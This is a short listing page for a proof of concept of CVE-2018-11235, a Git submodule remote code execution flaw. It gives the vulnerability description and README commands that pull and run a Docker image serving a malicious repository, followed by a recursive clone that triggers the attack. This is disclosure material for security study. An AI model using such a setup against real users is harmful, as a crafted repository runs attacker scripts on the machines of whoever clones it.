CVE-2018-11235 PoC — Git 安全漏洞

Source

https://github.com/qweraqq/CVE-2018-11235-Git-Submodule-CE

Associated Vulnerability

Title:Git 安全漏洞 (CVE-2018-11235)
Description:In Git before 2.13.7, 2.14.x before 2.14.4, 2.15.x before 2.15.2, 2.16.x before 2.16.4, and 2.17.x before 2.17.1, remote code execution can occur. With a crafted .gitmodules file, a malicious project can execute an arbitrary script on a machine that runs "git clone --recurse-submodules" because submodule "names" are obtained from this file, and then appended to $GIT_DIR/modules, leading to directory traversal with "../" in a name. Finally, post-checkout hooks from a submodule are executed, bypassing the intended design in which hooks are not obtained from a remote server.

Description

CVE-2018-11235-Git PoC

Readme

# CVE-2018-11235-Git-Submodule-CE
CVE-2018-11235-Git PoC

### Pull from Docker
```docker pull qweraqq/cve-2018-11235-git-submodule-rce```

### Start Git Http Server
```docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce```

### PoC
```git clone --recurse-submodules http://git.gitserver/malicious.git```

![PoC](./PoC.PNG "PoC")

File Snapshot

Remarks

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